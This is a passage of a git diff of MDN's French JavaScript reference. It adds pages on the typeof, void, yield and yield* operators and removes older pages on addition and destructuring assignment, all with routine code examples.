+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
TypeRésultat
indéfini"undefined"
nul"object" (voir ci-après)
booléen"boolean"
nombre"number"
grand entier"bigint"
chaîne de caractère"string"
symbole (nouveauté d'ECMAScript 6 / 2015)"symbol"
objet de l'environnement (fourni par l'environnement dans lequel est utilisé JS)Résultat différent selon l'implémentation
Objet Function (au sens ECMA-262, un objet qui implémente [[Call]])"function"
Tout autre objet"object"
+ +

Exemples

+ +
// Pour les nombres
+typeof 37 === 'number';
+typeof 3.14 === 'number';
+typeof(42) === 'number';
+typeof Math.LN2 === 'number';
+typeof Infinity === 'number';
+typeof NaN === 'number'; // Bien que littéralement ce soit "Not-A-Number"…
+typeof Number('1') === 'number'; // Number essaie de convertir l'argument en nombre
+
+// Grand entier
+typeof 42n === 'bigint';
+
+// Les chaînes de caractères
+typeof "" === 'string';
+typeof "bla" === 'string';
+typeof "1" === 'string'; // on a ici un nombre écrit sous forme d'une chaîne
+typeof (typeof 1) === 'string'; // typeof renvoie toujours une chaîne
+typeof String(1) === 'string'; // String convertit n'importe quelle valeur en chaîne
+
+
+// Les booléens
+typeof true === 'boolean';
+typeof false === 'boolean';
+typeof Boolean(1) === 'boolean'; // Boolean convertit n'importe quelle valeur en son équivalent logique
+typeof !!(1) === 'boolean'; // deux appels à l'opérateur ! (le NON logique) sont équivalents à Boolean()
+
+
+// Les symboles
+typeof Symbol() === 'symbol'
+typeof Symbol('foo') === 'symbol'
+typeof Symbol.iterator === 'symbol'
+
+
+// Indéfini
+typeof undefined === 'undefined';
+typeof blabla === 'undefined'; // pour une variable indéfinie
+
+
+// Les objets
+typeof {a:1} === 'object';
+
+// Utiliser la méthode Array.isArray ou Object.prototype.toString.call
+// afin de différencier les objets des tableaux
+typeof [1, 2, 4] === 'object';
+
+typeof new Date() === 'object';
+typeof /regex/ === 'object'; // Voir la section sur les expressions rationnelles
+
+// Les expressions suivantes sont source de confusion
+// à ne pas utiliser sous cette forme
+typeof new Boolean(true) === 'object';
+typeof new Number(1) === 'object';
+typeof new String("abc") === 'object';
+
+
+// Les fonctions
+typeof function(){} === 'function';
+typeof class C {} === 'function';
+typeof Math.sin === 'function';
+
+ +

Informations supplémentaires

+ +

null

+ +
// Cela est valable depuis les commencements de JavaScript
+typeof null === 'object';
+
+ +

Lors de la première implémentation de JavaScript, les valeurs JavaScript étaient représentées avec une étiquette de type et une valeur. Pour les objets, l'étiquette de type était 0. null était représenté par la valeur NULL (0x00 pour la plupart des plates-formes). Par conséquent, l'étiquette de type de null valait 0, d'où le comportement de typeof (source).

+ +

Un correctif fut proposé pour ECMAScript mais il fut refusé. Avec cette version, on aurait eu typeof null === 'null'.

+ +

Utiliser l'opérateur new

+ +
// Tous les constructeurs doivent être employés
+// avec le mot-clé "new"
+var maChaine = new String("toto");
+var monNombre = new Number(100);
+
+typeof maChaine;  // renverra "object"
+typeof monNombre; // renverra "object"
+
+// En revanche avec le constructeur Function,
+// on aura :
+var maFonction = new Function();
+typeof maFonction; // renverra "function"
+ +

Utilisation des parenthèses

+ +
// Les parenthèses peuvent s'avérer utile pour
+// déterminer le type de données d'une expression
+// complète
+
+var maDonnee = 99;
+
+typeof maDonnee + 'Toto';   // renverra 'number Toto'
+typeof (maDonnee + 'Toto'); // renverra 'string'
+
+ +

Expressions rationnelles

+ +

Les expressions rationnelles qu'on peut appeler directement furent parfois ajoutées de façon non standard dans certains navigateurs.

+ +
typeof /s/ === 'function'; // Chrome 1 à 12 : Non conforme à ECMAScript 5.1
+typeof /s/ === 'object';   // À partir de Firefox 5 : Conforme à ECMAScript 5.1
+
+ +

Zone morte temporaire (Temporal Dead Zone / TDZ)

+ +

Avant ECMAScript 2015 (ES6), typeof retournait toujours une chaîne de caractères, quel que soit l'opérande utilisé. On ne pouvait pas avoir d'erreur en utilisant typeof.

+ +

Avec l'apparition des opérateurs let et const, si on utilise typeof sur des variables déclarées avec ces opérateurs (ou avec une classe) avant leur déclaration, cela déclenchera une erreur {{jsxref("ReferenceError")}}. Si on utilise typeof sur une variable déclarée avec var avant la déclaration, cela renverra undefined. Les variables déclarées avec let et const sont en fait placées dans une zone morte temporaire entre le début du bloc et leur initialisation et dans cette zone, tout accès à la variable produit une erreur.

+ +
typeof variableGlobaleNonDeclaree === "undefined";
+
+typeof variableLet; // ReferenceError
+let variableLet;
+
+typeof constante;   // ReferenceError
+const constante = "coucou";
+
+typeof maClasse; // ReferenceError
+class maClasse{};
+ +

Exceptions

+ +

Tous les navigateurs actuels exposent un objet non-standard {{domxref("document.all")}} dont le type est "undefined".

+ +
typeof document.all === "undefined";
+ +

Bien que la spécification requière que les objets exostiques aient des types différents, ces types doivent être des chaînes différentes des chaînes existantes pour les objets standards. À ce titre, le type de document.all représente une violation « volontaire » du standard ECMAScript original.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-typeof-operator', 'Opérateur typeof')}}{{Spec2('ESDraft')}}
{{SpecName('ES6', '#sec-typeof-operator', 'Opérateur typeof')}}{{Spec2('ES6')}}
{{SpecName('ES5.1', '#sec-11.4.3', 'Opérateur typeof')}}{{Spec2('ES5.1')}}
{{SpecName('ES3', '#sec-11.4.3', 'Opérateur typeof')}}{{Spec2('ES3')}}
{{SpecName('ES1', '#sec-11.4.3', 'Opérateur typeof')}}{{Spec2('ES1')}}Définition initiale, implémentée avec JavaScript 1.1.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.operators.typeof")}}

+ +

Notes spécifiques à IE

+ +

Pour les versions 6, 7 et 8 d'Internet Explorer, les objets de l'environnement hôte sont des objets et non des fonctions. Par exemple, on aura :

+ +
typeof alert === 'object'
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/operators/void/index.html b/files/fr/web/javascript/reference/operators/void/index.html new file mode 100644 index 0000000000..e15eb1ed76 --- /dev/null +++ b/files/fr/web/javascript/reference/operators/void/index.html @@ -0,0 +1,122 @@ +--- +title: L'opérateur void +slug: Web/JavaScript/Reference/Opérateurs/L_opérateur_void +tags: + - JavaScript + - Operator + - Reference +translation_of: Web/JavaScript/Reference/Operators/void +--- +
{{jsSidebar("Operators")}}
+ +

L'opérateur void permet d'évaluer une expression donnée et de renvoyer undefined.

+ +
{{EmbedInteractiveExample("pages/js/expressions-voidoperator.html")}}
+ + + +

Syntaxe

+ +
void expression
+ +

Description

+ +

Cet opérateur permet d'évaluer des expressions retournant une valeur là où on attend une expression qui vaut {{jsxref("undefined")}}.

+ +

L'opérateur void est souvent utilisé pour obtenir la valeur undefined, généralement avec "void(0)" (qui est l'équivalent de "void 0"). Pour ce cas d'exemple, on aurait très bien pu utiliser la variable globale {{jsxref("undefined")}}.

+ +

Attention à la précédence des opérateurs et notamment de celle de void, si besoin, on pourra utiliser des parenthèses pour clarifier la résolution de l'expression :

+ +
void 2 == '2';    // renvoie false
+void (2 === '2'); // renvoie undefined
+ +

Expressions de fonction appelées immédiatement

+ +

Lorsqu'on utilise tout un script dans une fonction qu'on évalue immédiatement, void peut être utilisé pour que le mot-clé function soit traité comme une expression plutôt que comme une déclaration.

+ +
void function iife() {
+    var toto = function () {};
+    var machin = function () {};
+    var truc = function () {
+        toto();
+        machin();
+     };
+    var bidule = function () {};
+
+    truc();
+    bidule();
+}();
+
+ +

Les URI JavaScript

+ +

Lorsqu'un navigateur utilise une URI avec javascript:, le code de l'URI est évalué et le résultat remplace le contenu de la page, sauf si la valeur renvoyée vaut {{jsxref("Objets_globaux/undefined","undefined")}}. L'utilisateur void peut alors être utilisé pour renvoyer cette valeur. Par exemple :

+ +
<a href="javascript:void(0);">
+  Cliquer ici (sans effet)
+</a>
+
+<a href="javascript:void(document.body.style.backgroundColor='green');">
+  Cliquer ici pour rendre le fond vert
+</a>
+ +

Malgré cela, il n'est pas recommandé d'utiliser le pseudo-protocole javascript:, on lui préférera des méthodes moins risquées et moins intrusives comme les gestionnaires d'événements.

+ +

Fonctions fléchées sans valeur de retour

+ +

Les fonctions fléchées raccourcissent la syntaxe pour obtenir la valeur d'une fonction avec le résultat d'une expression qui constitue le corps de la fonction. Ainsi, la fonction renvoie nécessairement une valeur. Aussi, convertir une base de code afin d'utiliser des fonctions fléchées peut avoir certains effets de bord lorsqu'on souhaite qu'une fonction soit simplement exécutée mais pas que sa valeur de retour interfère avec le reste.

+ +

Pour éviter de transmettre cette valeur de retour, on pourra utiliser l'opérateur void :

+ +
button.onclick = () => void faireQQc();
+ +

Ainsi, la valeur de retour de la fonction faireQQc sera bloquée par void et c'est undefined qui sera la valeur de retour de la fonction fléchée. Cela s'avère utile si on change l'API de faireQQc par exemple et qu'on souhaite éviter les effets de bord causés par cette modification.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ESDraft', '#sec-void-operator', 'Opérateur void')}}{{Spec2('ESDraft')}} 
{{SpecName('ES6', '#sec-void-operator', 'L\'opérateur void')}}{{Spec2('ES6')}} 
{{SpecName('ES5.1', '#sec-11.4.2', 'L\'opérateur void')}}{{Spec2('ES5.1')}} 
{{SpecName('ES3', '#sec-11.4.2', 'L\'opérateur void')}}{{Spec2('ES3')}} 
{{SpecName('ES1', '#sec-11.4.2', 'L\'opérateur void')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.1
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.operators.void")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("undefined")}}
    • +
diff --git a/files/fr/web/javascript/reference/operators/yield/index.html b/files/fr/web/javascript/reference/operators/yield/index.html new file mode 100644 index 0000000000..f6a5de53e6 --- /dev/null +++ b/files/fr/web/javascript/reference/operators/yield/index.html @@ -0,0 +1,127 @@ +--- +title: yield +slug: Web/JavaScript/Reference/Opérateurs/yield +tags: + - ECMAScript 2015 + - Générateurs + - Itérateur + - JavaScript + - Opérateur +translation_of: Web/JavaScript/Reference/Operators/yield +--- +
{{jsSidebar("Operators")}}
+ +

Le mot-clé yield est utilisé pour suspendre et reprendre une fonction génératrice ({{jsxref("Statements/function*", "function*")}} ou une fonction génératrice historique).

+ +
{{EmbedInteractiveExample("pages/js/expressions-yield.html")}}
+ + + +

Syntaxe

+ +
[[rv =]] yield [[expression]];
+ +
+
expression
+
Définit la valeur à retourner depuis la fonction génératrice via le protocole itérateur. Si omise, undefined sera retournée à la place.
+
rv
+
Retourne la valeur optionnelle passée à la méthode next() pour reprendre son exécution.
+
+ +

Description

+ +

Le mot-clé yield suspend une fonction génératrice et la valeur de l'expression suivant le mot-clé yield est retournée à l'appelant du générateur. Il peut être vu comme une version générateur du mot-clé return.

+ +

Le mot-clé yield ne peut être appelé qu'à partir de la fonction génératrice qui le contient. Il ne peut pas être utilisé depuis des fonctions imbriquées ou avec des callbacks.

+ +

Le mot-clé yield retourne en fait un objet IteratorResult ayant deux propriétés, value et done. La propriété value est le résultat de l'évaluation de l'expression yield, et done est false, indiquant que la fonction génératrice n'est pas complètement terminée.

+ +

Une fois suspendue sur une expression yield, l'exécution du code du générateur reste suspendue jusqu'à ce que la méthode next() du générateur soit appelée. Chaque fois que la méthode next() du générateur est appelée, le générateur reprend l'exécution et s'exécute jusqu'à ce qu'elle atteigne l'une des situations suivantes :

+ +
    +
  • +

    un yield, ce qui provoque une nouvelle pause du générateur et retourne la nouvelle valeur du générateur ; la prochaine fois que next() sera appelé, l'exécution reprendra à l'instruction immédiatement après le yield ;

    +
    • +
  • +

    {{jsxref ("Statements/throw", "throw")}} est utilisé pour déclencher une exception depuis le générateur ; cela arrête entièrement l'exécution du générateur et l'exécution reprend dans l'appelant, comme c'est normalement le cas lorsqu'une exception est déclenchée ;

    +
    • +
  • +

    la fin de la fonction génératrice est atteinte ; dans ce cas, l'exécution du générateur se termine et un IteratorResult est retourné à l'appelant, dans lequel la valeur est {{jsxref ("undefined")}} et done est true ;

    +
    • +
  • +

    une instruction {{jsxref ("Statements/return", "return")}} est atteinte ; dans ce cas, l'exécution du générateur se termine et un IteratorResult est retourné à l'appelant dans lequel la value est la valeur spécifiée par l'instruction return et done vaut true.

    +
    • +
+ +

Si une valeur optionnelle est passée à la méthode next() du générateur, cette valeur devient la valeur retournée par l'opération yield en cours du générateur.

+ +

Entre le chemin de code du générateur, ses opérateurs yield, et la possibilité de spécifier une nouvelle valeur de départ en la passant à {{jsxref ("Generator.prototype.next()")}}, les générateurs offrent énormément de puissance et de contrôle.

+ +

Exemples

+ +

Le code suivant est la déclaration d'un exemple de fonction génératrice :

+ +
function* compteVentesPommes () {
+  var listeVentes = [3, 7, 5];
+  for (var i = 0; i < listeVentes.length; i++) {
+    yield listeVentes[i];
+  }
+}
+ +

Une fois qu'une fonction génératrice est définie, elle peut être utilisée en construisant un itérateur comme indiqué.

+ +
var magasinPommes = compteVentesPommes(); // Générateur { }
+console.log(magasinPommes.next()); // { value: 3, done: false }
+console.log(magasinPommes.next()); // { value: 7, done: false }
+console.log(magasinPommes.next()); // { value: 5, done: false }
+console.log(magasinPommes.next()); // { value: undefined, done: true }
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName('ES2015', '#prod-YieldExpression', 'Yield')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#prod-YieldExpression', 'Yield')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.operators.yield")}}

+ +

Notes spécifiques à Firefox

+ +
    +
  • À partir de Gecko 29 {{geckoRelease(29)}}, une fonction génératrice terminée ne déclenche plus une {{jsxref("TypeError")}} "generator has already finished". À la place, elle renvoie un objet IteratorResult tel que { value: undefined, done: true } ({{bug(958951)}}).
    • +
  • À partir de Gecko 33 {{geckoRelease(33)}}, l'analyse de l'expression yield a été mise à jour afin d'être conforme aux spécifications ES2015 ({{bug(981599)}}): +
      +
    • L'expression après le mot-clé yield est optionnelle et l'omettre ne déclenche plus une {{jsxref("SyntaxError")}} : function* compteVentesPommes() { yield; }
      • +
    +
    • +
+ +

Voir aussi

+ +
    +
  • Le protocole itérateur
    • +
  • L'instruction {{jsxref("Instructions/function*", "function*")}}
    • +
  • L'expression {{jsxref("Opérateurs/function*", "function*")}}
    • +
  • L'opérateur {{jsxref("Opérateurs/yield*", "yield*")}}
    • +
diff --git a/files/fr/web/javascript/reference/operators/yield_star_/index.html b/files/fr/web/javascript/reference/operators/yield_star_/index.html new file mode 100644 index 0000000000..3235d87dc1 --- /dev/null +++ b/files/fr/web/javascript/reference/operators/yield_star_/index.html @@ -0,0 +1,162 @@ +--- +title: yield* +slug: Web/JavaScript/Reference/Opérateurs/yield* +tags: + - ECMAScript 2015 + - Generators + - Iterable + - Iterator + - JavaScript + - Operator + - Reference +translation_of: Web/JavaScript/Reference/Operators/yield* +--- +
{{jsSidebar("Operators")}}
+ +

Une expression yield* est utilisée afin de déléguer le mécanisme d'itération/génération à un autre {{jsxref("Instructions/function*", "générateur")}} ou à un autre objet itérable.

+ +
{{EmbedInteractiveExample("pages/js/expressions-yieldasterisk.html")}}
+ + + +

Syntaxe

+ +
 yield* [[expression]];
+ +
+
expression
+
L'expression qui renvoie un objet itérable.
+
+ +

Description

+ +

L'expression yield* itère sur l'opérande et génère chaque valeur générée par l'opérande.

+ +

La valeur de l'expression yield* est la valeur renvoyée par l'itérateur lorsque celui est terminé (la propriété done vaut true).

+ +

Exemples

+ +

Délégation de la génération

+ +

Dans le code suivant, les valeurs générées par g1() sont renvoyées grâce aux appels à la fonction next(), comme pour celles renvoyées par g2().

+ +
function* g1() {
+  yield 2;
+  yield 3;
+  yield 4;
+}
+function* g2() {
+  yield 1;
+  yield* g1();
+  yield 5;
+}
+
+var iterator = g2();
+
+console.log(iterator.next()); // { value: 1, done: false }
+console.log(iterator.next()); // { value: 2, done: false }
+console.log(iterator.next()); // { value: 3, done: false }
+console.log(iterator.next()); // { value: 4, done: false }
+console.log(iterator.next()); // { value: 5, done: false }
+console.log(iterator.next()); // { value: undefined, done: true }
+
+ +

Les autres objets itérables

+ +

yield* peut également être utilisé avec d'autres sortes d'itérables (chaînes, tableaux ou arguments) :

+ +
function* g3() {
+  yield* [1, 2];
+  yield* "34";
+  yield* Array.from(arguments);
+}
+
+var iterator = g3(5, 6);
+
+console.log(iterator.next()); // { value: 1, done: false }
+console.log(iterator.next()); // { value: 2, done: false }
+console.log(iterator.next()); // { value: "3", done: false }
+console.log(iterator.next()); // { value: "4", done: false }
+console.log(iterator.next()); // { value: 5, done: false }
+console.log(iterator.next()); // { value: 6, done: false }
+console.log(iterator.next()); // { value: undefined, done: true }
+ +

La valeur de l'expression yield*

+ +

yield* est une expression et non une instruction, elle est donc évaluée et fournit une valeur :

+ +
function* g4() {
+  yield* [1, 2, 3];
+  return "toto";
+}
+
+var résultat;
+
+function* g5() {
+  résultat = yield* g4();
+}
+
+var iterator = g5();
+
+console.log(iterator.next()); // { value: 1, done: false }
+console.log(iterator.next()); // { value: 2, done: false }
+console.log(iterator.next()); // { value: 3, done: false }
+console.log(iterator.next()); // { value: undefined, done: true },
+                              // g4() renvoie{ value: "toto", done: true } at this point
+
+console.log(résultat);          // "toto"
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-generator-function-definitions-runtime-semantics-evaluation', 'Yield')}}{{Spec2('ES2015')}}Définition initiale
{{SpecName('ESDraft', '#sec-generator-function-definitions-runtime-semantics-evaluation', 'Yield')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.operators.yield_star")}}

+ +

Notes relatives à Firefox

+ +
    +
  • À partir de Gecko 33 {{geckoRelease(33)}}, l'analyse de l'expression yield a été mise à jour pour être conforme aux spécifications ES2015 ({{bug(981599)}}) : + +
      +
    • La restriction concernant les terminateurs de lignes est désormais implémentée. Il n'est pas autorisé d'avoir un terminateur de ligne entre "yield" et "*". Le code suivant lèvera une exception {{jsxref("SyntaxError")}}: + 
      function* toto() {
+  yield
+  *[];
+}
      +
      • +
    +
    • +
+ +

Voir aussi

+ +
    +
  • Le protocole itérateur
    • +
  • L'instruction {{jsxref("Instruction/function*", "function*")}}
    • +
  • L'expression {{jsxref("Opérateurs/function*", "function*")}}
    • +
  • {{jsxref("Opérateurs/yield", "yield")}}
    • +
diff --git "a/files/fr/web/javascript/reference/op\303\251rateurs/addition/index.html" "b/files/fr/web/javascript/reference/op\303\251rateurs/addition/index.html" deleted file mode 100644 index 39f76c434d..0000000000 --- "a/files/fr/web/javascript/reference/op\303\251rateurs/addition/index.html" +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: Addition (+) -slug: Web/JavaScript/Reference/Opérateurs/Addition -tags: - - JavaScript - - Opérateur - - Reference -translation_of: Web/JavaScript/Reference/Operators/Addition ---- -
{{jsSidebar("Operators")}}
- -
L'opérateur d'addition (+) effectue la somme de deux opérandes numériques ou la concaténation de chaînes de caractères.
- - - -
{{EmbedInteractiveExample("pages/js/expressions-addition.html")}}
- -
- - - -

Syntaxe

- -
Opérateur: x + y
-
- -

Exemples

- -

Addition numérique

- -
// Nombre + Nombre -> addition
-1 + 2 // 3
-
-// Booléen + Nombre -> addition
-true + 1 // 2
-
-// Booléen + Booléen -> addition
-false + false // 0
-
- -

Concaténation de chaînes

- -
// String + String -> concatenation
-'foo' + 'bar' // "foobar"
-
-// Number + String -> concatenation
-5 + 'foo' // "5foo"
-
-// String + Boolean -> concatenation
-'foo' + false // "foofalse"
- -

Spécifications

- - - - - - - - - - -
Spécification
{{SpecName('ESDraft', '#sec-addition-operator-plus', 'Addition operator')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.operators.addition")}}

- -

Voir aussi

- - diff --git "a/files/fr/web/javascript/reference/op\303\251rateurs/addition_avec_assignement/index.html" "b/files/fr/web/javascript/reference/op\303\251rateurs/addition_avec_assignement/index.html" deleted file mode 100644 index 5377d00b35..0000000000 --- "a/files/fr/web/javascript/reference/op\303\251rateurs/addition_avec_assignement/index.html" +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: Addition avec assignement (+=) -slug: Web/JavaScript/Reference/Opérateurs/Addition_avec_assignement -tags: - - Fonctionnalité du language - - JavaScript - - Opérateur - - Opérateur d'assignement - - Reference -translation_of: Web/JavaScript/Reference/Operators/Addition_assignment ---- -

{{jsSidebar("Operators")}}

- -

L'opérateur d'addition avec assignement (+=) permet d'ajouter une valeur à une variable. Le type des deux valeurs permet de définir si l'utilisation de cet opérateur les concatènera ou les additionnera.

- -
{{EmbedInteractiveExample("pages/js/expressions-addition-assignment.html")}}
- -
- - - -

Syntaxe

- -
Opérateur : x += y
-Signifie :  x = x + y
- -

Examples

- -

Utilisation de l'opérateur

- -
// On considère les variables suivantes :
-var chaine = "Hello";
-var nombre = 5;
-var booleen = true;
-
-// Nombre + Nombre
-nombre += 2;
-// 7
-
-// Booléen + Nombre
-booleen += 1;
-// 2
-
-// Booléen + Booléen
-booleen += false;
-// 1
-
-// Nombre + Chaîne
-nombre += "World";
-// "5World"
-
-// Chaîne + Booléen
-chaine += false;
-// "Hellofalse"
-
-// Chaîne + Chaîne
-chaine += "World"
-// "HelloWorld"
diff --git "a/files/fr/web/javascript/reference/op\303\251rateurs/affecter_par_d\303\251composition/index.html" "b/files/fr/web/javascript/reference/op\303\251rateurs/affecter_par_d\303\251composition/index.html" deleted file mode 100644 index cdce16f559..0000000000 --- "a/files/fr/web/javascript/reference/op\303\251rateurs/affecter_par_d\303\251composition/index.html" +++ /dev/null @@ -1,424 +0,0 @@ ---- -title: Affecter par décomposition -slug: Web/JavaScript/Reference/Opérateurs/Affecter_par_décomposition -tags: - - ECMAScript 2015 - - JavaScript - - Opérateur - - Reference -translation_of: Web/JavaScript/Reference/Operators/Destructuring_assignment ---- -
{{jsSidebar("Operators")}}
- -

L'affectation par décomposition (destructuring en anglais) est une expression JavaScript qui permet d'extraire (unpack en anglais) des données d'un tableau ou d'un objet grâce à une syntaxe dont la forme ressemble à la structure du tableau ou de l'objet.

- -
{{EmbedInteractiveExample("pages/js/expressions-destructuringassignment.html")}}
- - - -

Syntaxe

- -
let a, b, rest;
-[a, b] = [10, 20];
-console.log(a); // 10
-console.log(b); // 20
-
-[a, b, ...rest] = [10, 20, 30, 40, 50];
-console.log(a); // 10
-console.log(b); // 20
-console.log(rest); // [30, 40, 50]
-
-({a, b} = {a: 10, b: 20});
-console.log(a); // 10
-console.log(b); // 20
-
-// Proposition de syntaxe (niveau 4)
-({a, b, ...rest} = {a: 10, b: 20, c: 30, d: 40});
-console.log(a); // 10
-console.log(b); // 20
-console.log(rest); // {c: 30, d: 40}
-
- -
-

Note : {a, b} = {a:1, b:2} n'est pas syntaxiquement valide en tant que tel, en effet {a, b} est ici considéré comme un bloc et non comme un objet littéral.

- -

Cependant, ({a, b} = {a:1, b:2}) sera valide comme pour la forme let {a, b} = {a:1, b:2}.

-
- -

Description

- -

Ces expressions utilisant des littéraux pour les objets ou les tableaux permettent de créer simplement des données regroupées. Une fois créées, on peut les utiliser de n'importe quelle façon, y compris comme valeur renvoyée par une fonction.

- -
const x = [1, 2, 3, 4, 5]; // On crée un "paquet" de données
-const [y, z] = x; // On utilise l'affectation par décomposition
-console.log(y); // 1
-console.log(z); // 2
-
- -

L'intérêt de l'assignation par décomposition est de pouvoir lire une structure entière en une seule instruction. Il y a également d'autres choses que vous pouvez faire avec cette expression, comme montré dans les exemples ci-dessous.

- -

Cette syntaxe est semblable aux fonctionnalités offertes par des langages tels que Perl et Python.

- -

Décomposition d'un tableau

- -

Exemple simple

- -
const toto = ["un", "deux", "trois"];
-
-// sans utiliser la décomposition
-const un    = toto[0];
-const deux  = toto[1];
-const trois = toto[2];
-
-// en utilisant la décomposition
-const [un, deux, trois] = toto;
- -

Affectation sans déclaration

- -

L'affectation par décomposition peut être effectuée sans qu'il y ait de déclaration directement dans l'instruction d'affectation. Par exemple :

- -
let a, b;
-[a, b] = [1, 2];
-console.log(a);  // 1
-console.log(b);  // 2
- -

Valeurs par défaut

- -

On peut définir une valeur par défaut au cas où la valeur extraite du tableau soit {{jsxref("undefined")}}. Par exemple :

- -
let a, b;
-
-[a = 5, b = 7] = [1];
-console.log(a); // 1
-console.log(b); // 7
-
- -

Échange de variables

- -

Une fois le fragment de code exécuté, on aura b égal à 1 et a égal à 3. S'il n'avait pas été possible d'utiliser l'affectation par décomposition, l'échange des valeurs aurait nécessité une variable temporaire (pour des données binaires, on aurait pu utiliser une permutation XOR).

- -
let a = 1;
-let b = 3;
-
-[a, b] = [b, a];
-console.log(a); // 3
-console.log(b); // 1
- -

Renvoyer plusieurs valeurs

- -

Grâce à l'affectation par décomposition, les fonctions peuvent renvoyer plusieurs valeurs. Il était déjà possible de renvoyer un tableau mais cela ajoute un nouveau degré de flexibilité.

- -
function f() {
-  return [1, 2];
-}
-
- -

Les valeurs de retour sont déclarées via une syntaxe semblable à celle utilisée pour déclarer les tableaux, utilisant les crochets. On peut ainsi renvoyer autant de valeurs que souhaité. Dans cet exemple, f() renvoie les valeurs [1, 2].

- -
let a, b;
-[a, b] = f();
-console.log("A vaut " + a + " B vaut " + b);
-
- -

L'instruction [a, b] = f() assigne, dans l'ordre, les résultats de la fonction aux variables représentées entre les crochets. Ainsi, ici a vaut 1 et b vaut 2.

- -

On peut également récupérer la valeur de retour comme un tableau :

- -
const x = f();
-console.log("X vaut " + x);
-
- -

Et on aura x qui sera égal au tableau contenant 1 et 2.

- -

Ignorer certaines valeurs

- -

On peut également ignorer certaines des valeurs renvoyées qu'on ne souhaiterait pas traiter :

- -
function f() {
-  return [1, 2, 3];
-}
-
-const [a, , b] = f();
-console.log("A vaut " + a + " B vaut " + b);
-
- -

Après avoir exécuté ce code, on aura a égal à 1 et b égal à 3. La valeur 2 est ignorée. On peut ignorer n'importe laquelle des valeurs (voire toutes). Par exemple :

- -
[,,] = f();
-
- -

Exploiter les résultats d'une expression rationnelle

- -

Lorsque la méthode exec(), liées aux expressions rationnelles, trouve une correspondance, elle renvoie un tableau qui contient d'abord la partie complète de la chaîne qui correspond puis ensuite les différentes portions correspondant aux différents groupes. L'affectation par décomposition permet de filtrer simplement les valeurs qu'on souhaite exploiter. Ici, on ignore le premier élément qui est la correspondance complète :

- -
function parseProtocol(url) {
-  const parsedURL = /^(\w+)\:\/\/([^\/]+)\/(.*)$/.exec(url);
-  if (!parsedURL) {
-    return false;
-  }
-  console.log(parsedURL); // ["https://developer.mozilla.org/fr/Web/JavaScript", "https", "developer.mozilla.org", "fr/Web/JavaScript"]
-
-  const [, protocol, fullhost, fullpath] = parsedURL;
-  return protocol;
-}
-
-console.log(parseProtocol('https://developer.mozilla.org/en-US/Web/JavaScript')); // "https"
-
- -

Affecter le reste d'un tableau à une variable

- -

On peut également utiliser la décomposition d'un tableau afin d'en affecter une partie à une variable :

- -
const [a, ...b] = [1, 2, 3];
-console.log(a); // 1
-console.log(b); // [2, 3]
- -

Un exception {{jsxref("SyntaxError")}} sera levée si une virgule est laissée à la fin de l'élément du reste du tableau de gauche :

- -
const [a, ...b,] = [1, 2, 3]
-// SyntaxError : un élément du reste ne peut pas avoir
-//               de virgule à la fin
- -

Décomposer un objet

- -

Exemple simple

- -
const o = {p: 42, q: true};
-const {p, q} = o;
-
-console.log(p); // 42
-console.log(q); // true
-
-// Assign new variable names
-const {p: toto, q: truc} = o;
-
-console.log(toto); // 42
-console.log(truc); // true
-
- -

Affectation sans déclaration

- -

Il est possible d'effectuer une affectation par décomposition même si aucune déclaration n'est directement utilisée dans l'instruction d'affectation. Par exemple :

- -
let a, b;
-({a, b} = {a:1, b:2});
-
- -
-

Note : Les parenthèses ( ... ) utilisées autour de l'instruction sont nécessaires pour que la partie gauche soit bien interprétée comme un objet littéral et non comme un bloc. Il est également nécessaire d'avoir un point-virgule avant les parenthèses de l'instruction car sinon, ces parenthèses peuvent être interprétées comme un appel de fonction.

-
- -

Affecter avec un nom différent

- -

Lorsqu'on décompose un objet, on peut affecter la variable obtenue sur une variable qui possède un autre nom (que celui de la propriété) :

- -
const o = {p: 42, q: true};
-const {p: toto, q: truc} = o;
-
-console.log(toto); // 42
-console.log(truc); // true
- -

Ici, par exemple, const {p: toto} = o prend la propriété p de l'objet o pour l'affecter à une variable locale intitulée toto.

- -

Valeurs par défaut

- -

Une variable peut recevoir une valeur par défaut lors de la décomposition si la propriété correspondante de l'objet vaut undefined.

- -
const {a = 10; b = 5} = {a: 3};
-
-console.log(a); // 3
-console.log(b); // 5
- -

Affecter de nouveaux noms aux variables et fournir des valeurs par défaut

- -

Il est possible d'extraitre une valeur d'un objet pour lui affecter un nouveau nom et lui affecter une valeur par défaut au cas où la valeur extraite vaut undefined.

- -
const {a: aa = 10, b: bb = 5} = {a: 3};
-
-console.log(aa); // 3
-console.log(bb); // 5
- -

Arguments par défaut d'une fonction

- -

Version ES5

- -
function dessinGrapheES5(options) {
-  options = options === undefined ? {} : options;
-  var size = options.size === undefined ? 'big' : options.size;
-  var coords = options.coords === undefined ? { x: 0, y: 0 } : options.coords;
-  var radius = options.radius === undefined ? 25 : options.radius;
-  console.log(size, coords, radius);
-  // seulement ensuite on dessine le graphe
-}
-
-dessinGrapheES5({
-  coords: { x: 18, y: 30 },
-  radius: 30
-});
- -

Version ES2015

- -
function dessinGrapheES2015({size = 'big', coords = { x: 0, y: 0 }, radius = 25} = {})
-{
-  console.log(size, coords, radius);
-  // on dessine le graphe
-}
-
-dessinGrapheES2015({
-  coords: { x: 18, y: 30 },
